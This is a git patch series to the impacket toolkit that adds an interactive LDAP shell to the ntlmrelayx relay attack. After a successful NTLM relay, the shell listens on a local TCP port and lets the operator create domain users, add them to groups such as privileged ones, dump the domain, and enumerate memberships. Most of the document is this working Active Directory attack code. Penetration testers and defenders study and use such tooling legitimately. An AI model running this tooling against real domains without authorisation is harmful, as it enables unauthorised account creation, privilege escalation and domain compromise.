From 5f238c5b8f95daada58e33c307e27504708879f8 Mon Sep 17 00:00:00 2001 From: Mathieu Gascon-Lefebvre Date: Wed, 15 Jan 2020 11:57:04 -0500 Subject: [PATCH 1/3] Added an interactive shell to perform LDAP operations. --- impacket/examples/ldap_shell.py | 195 ++++++++++++++++++ .../examples/ntlmrelayx/attacks/ldapattack.py | 13 ++ 2 files changed, 208 insertions(+) create mode 100755 impacket/examples/ldap_shell.py diff --git a/impacket/examples/ldap_shell.py b/impacket/examples/ldap_shell.py new file mode 100755 index 00000000..583d72da --- /dev/null +++ b/impacket/examples/ldap_shell.py @@ -0,0 +1,195 @@ +# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: Mini shell using some of the LDAP functionalities of the library +# +# Author: +# Mathieu Gascon-Lefebvre (@mlefebvre) +# +# +import string +import sys +import cmd +import random +import ldap3 +from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM +from ldap3.utils.conv import escape_filter_chars +from six import PY2 +import shlex +from impacket import LOG + + +class LdapShell(cmd.Cmd): + LDAP_MATCHING_RULE_IN_CHAIN = "1.2.840.113556.1.4.1941" + + def __init__(self, tcp_shell, domain_dumper, client): + cmd.Cmd.__init__(self, stdin=tcp_shell.stdin, stdout=tcp_shell.stdout) + + if PY2: + # switch to unicode. + reload(sys) + sys.setdefaultencoding('utf8') + + sys.stdout = tcp_shell.stdout + sys.stdin = tcp_shell.stdin + sys.stderr = tcp_shell.stdout + self.use_rawinput = False + self.shell = tcp_shell + + self.prompt = '\n# ' + self.tid = None + self.intro = 'Type help for list of commands' + self.loggedIn = True + self.last_output = None + self.completion = [] + self.client = client + self.domain_dumper = domain_dumper + + def emptyline(self): + pass + + def onecmd(self, s): + ret_val = False + try: + ret_val = cmd.Cmd.onecmd(self, s) + except Exception as e: + print(e) + LOG.error(e) + LOG.debug('Exception info', exc_info=True) + + return ret_val + + def do_add_user(self, line): + args = shlex.split(line) + if len(args) == 0: + raise Exception("A username is required.") + + new_user = args[0] + if len(args) == 1: + parent_dn = 'CN=Users,%s' % self.domain_dumper.root + else: + parent_dn = args[1] + + new_password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) + + new_user_dn = 'CN=%s,%s' % (new_user, parent_dn) + ucd = { + 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % self.domain_dumper.root, + 'distinguishedName': new_user_dn, + 'cn': new_user, + 'sn': new_user, + 'givenName': new_user, + 'displayName': new_user, + 'name': new_user, + 'userAccountControl': 512, + 'accountExpires': '0', + 'sAMAccountName': new_user, + 'unicodePwd': '"{}"'.format(new_password).encode('utf-16-le') + } + + print('Attempting to create user in: %s', parent_dn) + res = self.client.add(new_user_dn, ['top', 'person', 'organizationalPerson', 'user'], ucd) + if not res: + if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: + raise Exception('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.') + else: + raise Exception('Failed to add a new user: %s' % str(self.client.result)) + else: + print('Adding new user with username: %s and password: %s result: OK' % (new_user, new_password)) + + def do_add_user_to_group(self, line): + user_name, group_name = shlex.split(line) + + user_dn = self.get_dn(user_name) + if not user_dn: + raise Exception("User not found in LDAP: %s" % user_name) + + group_dn = self.get_dn(group_name) + if not group_dn: + raise Exception("Group not found in LDAP: %s" % group_name) + + user_name = user_dn.split(',')[0][3:] + group_name = group_dn.split(',')[0][3:] + + res = self.client.modify(group_dn, {'member': [(ldap3.MODIFY_ADD, [user_dn])]}) + if res: + print('Adding user: %s to group %s result: OK' % (user_name, group_name)) + else: + raise Exception('Failed to add user to %s group: %s' % (group_name, str(self.client.result))) + + def do_dump(self, line): + print('Dumping domain info...') + self.stdout.flush() + self.domain_dumper.domainDump() + print('Domain info dumped into lootdir!') + + def do_search(self, line): + arguments = shlex.split(line) + if len(arguments) == 0: + raise Exception("A query is required.") + + filter_attributes = ['name', 'distinguishedName', 'sAMAccountName'] + attributes = filter_attributes[:] + attributes.append('objectSid') + for argument in arguments[1:]: + attributes.append(argument) + + search_query = "".join("(%s=*%s*)" % (attribute, escape_filter_chars(arguments[0])) for attribute in filter_attributes) + self.search('(|%s)' % search_query, *attributes) + + def do_get_user_groups(self, user_name): + user_dn = self.get_dn(user_name) + if not user_dn: + raise Exception("User not found in LDAP: %s" % user_name) + + self.search('(member:%s:=%s)' % (LdapShell.LDAP_MATCHING_RULE_IN_CHAIN, escape_filter_chars(user_dn))) + + def do_get_group_users(self, group_name): + group_dn = self.get_dn(group_name) + if not group_dn: + raise Exception("Group not found in LDAP: %s" % group_name) + + self.search('(memberof:%s:=%s)' % (LdapShell.LDAP_MATCHING_RULE_IN_CHAIN, escape_filter_chars(group_dn)), "sAMAccountName", "name") + + def search(self, query, *attributes): + self.client.search(self.domain_dumper.root, query, attributes=attributes) + for entry in self.client.entries: + print(entry.entry_dn) + for attribute in attributes: + value = entry[attribute].value + if value: + print("%s: %s" % (attribute, entry[attribute].value)) + if any(attributes): + print("---") + + def get_dn(self, sam_name): + if "," in sam_name: + return sam_name + + try: + self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(sam_name), attributes=['objectSid']) + return self.client.entries[0].entry_dn + except IndexError: + return None + + def do_exit(self, line): + if self.shell is not None: + self.shell.close() + return True + + def do_help(self, line): + print(""" + add_user new_user [parent] - Creates a new user. + add_user_to_group user group - Adds a user to a group. + dump - Dumps the domain. + search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName. + get_user_groups user - Retrieves all groups this user is a member of. + get_group_users group - Retrieves all members of a group. + exit - Terminates this session.""") + + def do_EOF(self, line): + print('Bye!\n') + return True diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index e51805b9..9b01caf2 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -29,7 +29,9 @@ from ldap3.utils.conv import escape_filter_chars from impacket import LOG +from impacket.examples.ldap_shell import LdapShell from impacket.examples.ntlmrelayx.attacks import ProtocolAttack +from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell from impacket.ldap import ldaptypes from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP from impacket.uuid import string_to_bin, bin_to_string @@ -69,6 +71,9 @@ class LDAPAttack(ProtocolAttack): def __init__(self, config, LDAPClient, username): self.computerName = '' if config.addcomputer == 'Rand' else config.addcomputer ProtocolAttack.__init__(self, config, LDAPClient, username) + if self.config.interactive: + # Launch locally listening interactive shell. + self.tcp_shell = TcpShell() def addComputer(self, parent, domainDumper): """ @@ -502,6 +507,14 @@ def run(self): # Create new dumper object domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig) + if self.tcp_shell is not None: + LOG.info('Started interactive Ldap shell via TCP on 127.0.0.1:%d' % self.tcp_shell.port) + # Start listening and launch interactive shell. + self.tcp_shell.listen() + ldap_shell = LdapShell(self.tcp_shell, domainDumper, self.client) + ldap_shell.cmdloop() + return + # If specified validate the user's privileges. This might take a while on large domains but will # identify the proper containers for escalating via the different techniques. if self.config.validateprivs: From c43e378d5ae6139a437587cd15ea1e99b77ab755 Mon Sep 17 00:00:00 2001 From: Mathieu Gascon-Lefebvre Date: Wed, 15 Jan 2020 12:20:01 -0500 Subject: [PATCH 2/3] Updated ntlmrelayx.py help. --- examples/ntlmrelayx.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index 5a44eccb..9abca9bb 100755 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -207,7 +207,7 @@ def stop_servers(threads): 'full URL, one per line') parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list ' 'automatically (only valid with -tf)') - parser.add_argument('-i','--interactive', action='store_true',help='Launch an smbclient console instead' + parser.add_argument('-i','--interactive', action='store_true',help='Launch an smbclient or LDAP console instead' 'of executing a command after a successful relay. This console will listen locally on a ' ' tcp port and can be reached with for example netcat.') From 9e58e1f35c1c6125c601afe352f24d2b784ecbe5 Mon Sep 17 00:00:00 2001 From: Mathieu Gascon-Lefebvre Date: Wed, 15 Jan 2020 12:55:13 -0500 Subject: [PATCH 3/3] Fixed flake8 error. reload doesn't exist in python 3. --- impacket/examples/ldap_shell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/impacket/examples/ldap_shell.py b/impacket/examples/ldap_shell.py index 583d72da..0523aa7f 100755 --- a/impacket/examples/ldap_shell.py +++ b/impacket/examples/ldap_shell.py @@ -30,7 +30,7 @@ def __init__(self, tcp_shell, domain_dumper, client): if PY2: # switch to unicode. - reload(sys) + reload(sys) # noqa: F821 pylint:disable=undefined-variable sys.setdefaultencoding('utf8') sys.stdout = tcp_shell.stdout